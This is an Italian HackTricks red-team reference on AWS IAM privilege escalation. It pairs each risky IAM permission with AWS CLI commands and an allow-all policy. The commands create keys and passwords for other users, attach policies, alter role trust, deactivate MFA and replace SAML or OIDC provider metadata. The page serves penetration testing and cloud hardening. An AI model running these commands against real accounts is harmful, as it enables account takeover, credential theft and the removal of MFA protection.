AWS - IAM Privesc

Reading time: 8 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

IAM

Per ulteriori informazioni su IAM controlla:

AWS - IAM, Identity Center & SSO Enum

iam:CreatePolicyVersion

Concede la possibilità di creare una nuova versione della policy IAM, eludendo la necessità del permesso iam:SetDefaultPolicyVersion utilizzando il flag --set-as-default. Questo consente di definire permessi personalizzati.

Exploit Command:

bash
aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default

Impatto: Escalation diretta dei privilegi consentendo qualsiasi azione su qualsiasi risorsa.

iam:SetDefaultPolicyVersion

Consente di cambiare la versione predefinita di una policy IAM con un'altra versione esistente, potenzialmente elevando i privilegi se la nuova versione ha più permessi.

Comando Bash:

bash
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2

Impatto: Escalation indiretta dei privilegi abilitando più permessi.

iam:CreateAccessKey

Abilita la creazione di un ID chiave di accesso e di una chiave di accesso segreta per un altro utente, portando a una potenziale escalation dei privilegi.

Sfrutta:

bash
aws iam create-access-key --user-name <target_user>

Impatto: Escalation diretta dei privilegi assumendo i permessi estesi di un altro utente.

iam:CreateLoginProfile | iam:UpdateLoginProfile

Consente di creare o aggiornare un profilo di accesso, inclusa la configurazione delle password per l'accesso alla console AWS, portando a un'escalation diretta dei privilegi.

Sfruttamento per la Creazione:

bash
aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

Sfruttamento per Aggiornamento:

bash
aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'

Impatto: Escalation diretta dei privilegi accedendo come "qualsiasi" utente.

iam:UpdateAccessKey

Consente di abilitare una chiave di accesso disabilitata, portando potenzialmente a un accesso non autorizzato se l'attaccante possiede la chiave disabilitata.

Sfrutta:

bash
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>

Impatto: Escalation diretta dei privilegi riattivando le chiavi di accesso.

iam:CreateServiceSpecificCredential | iam:ResetServiceSpecificCredential

Consente di generare o ripristinare credenziali per servizi AWS specifici (ad es., CodeCommit, Amazon Keyspaces), ereditando i permessi dell'utente associato.

Sfruttamento per la Creazione:

bash
aws iam create-service-specific-credential --user-name <username> --service-name <service>

Sfruttamento per Reset:

bash
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>

Impatto: Escalation diretta dei privilegi all'interno delle autorizzazioni del servizio dell'utente.

iam:AttachUserPolicy || iam:AttachGroupPolicy

Consente di allegare politiche a utenti o gruppi, aumentando direttamente i privilegi ereditando le autorizzazioni della politica allegata.

Sfrutta per l'utente:

bash
aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"

Sfruttamento per Gruppo:

bash
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"

Impatto: Escalation diretta dei privilegi a qualsiasi cosa concessa dalla policy.

iam:AttachRolePolicy, ( sts:AssumeRole|iam:createrole) | iam:PutUserPolicy | iam:PutGroupPolicy | iam:PutRolePolicy

Consente di allegare o impostare policy a ruoli, utenti o gruppi, abilitando l'escalation diretta dei privilegi concedendo permessi aggiuntivi.

Sfrutta per Ruolo:

bash
aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"

Sfruttamento per le Politiche Inline:

bash
aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"

aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json

Puoi utilizzare una policy come:

json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}

Impatto: Escalation diretta dei privilegi aggiungendo permessi tramite politiche.

iam:AddUserToGroup

Consente di aggiungere se stessi a un gruppo IAM, aumentando i privilegi ereditando i permessi del gruppo.

Sfruttamento:

bash
aws iam add-user-to-group --group-name <group_name> --user-name <username>

Impatto: Escalation diretta dei privilegi al livello delle autorizzazioni del gruppo.

iam:UpdateAssumeRolePolicy

Consente di modificare il documento della policy di assunzione del ruolo, abilitando l'assunzione del ruolo e le sue autorizzazioni associate.

Sfruttamento:

bash
aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json

Dove la policy appare come segue, che concede all'utente il permesso di assumere il ruolo:

json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "$USER_ARN"
}
}
]
}

Impatto: Escalation diretta dei privilegi assumendo i permessi di qualsiasi ruolo.

iam:UploadSSHPublicKey || iam:DeactivateMFADevice

Consente di caricare una chiave pubblica SSH per l'autenticazione a CodeCommit e di disattivare i dispositivi MFA, portando a una potenziale escalation indiretta dei privilegi.

Sfruttamento per il caricamento della chiave SSH:

bash
aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>

Sfruttamento per la disattivazione di MFA:

bash
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>

Impatto: Escalation di privilegi indiretta abilitando l'accesso a CodeCommit o disabilitando la protezione MFA.

iam:ResyncMFADevice

Consente la risincronizzazione di un dispositivo MFA, portando potenzialmente a un'escalation di privilegi indiretta manipolando la protezione MFA.

Comando Bash:

bash
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>

Impatto: Escalation di privilegi indiretta aggiungendo o manipolando i dispositivi MFA.

iam:UpdateSAMLProvider, iam:ListSAMLProviders, (iam:GetSAMLProvider)

Con questi permessi puoi cambiare i metadati XML della connessione SAML. Poi, potresti abusare della federazione SAML per accedere con qualsiasi ruolo che lo sta fidando.

Nota che facendo questo gli utenti legittimi non potranno accedere. Tuttavia, potresti ottenere l'XML, così puoi inserire il tuo, accedere e configurare il precedente.

bash
# List SAMLs
aws iam list-saml-providers

# Optional: Get SAML provider XML
aws iam get-saml-provider --saml-provider-arn <ARN>

# Update SAML provider
aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>

## Login impersonating roles that trust the SAML provider

# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>

note

TODO: Uno strumento in grado di generare i metadati SAML e accedere con un ruolo specificato

iam:UpdateOpenIDConnectProviderThumbprint, iam:ListOpenIDConnectProviders, (iam:GetOpenIDConnectProvider)

(Non sicuro di questo) Se un attaccante ha questi permessi potrebbe aggiungere un nuovo Thumbprint per riuscire ad accedere a tutti i ruoli che si fidano del provider.

bash
# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3

Riferimenti

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks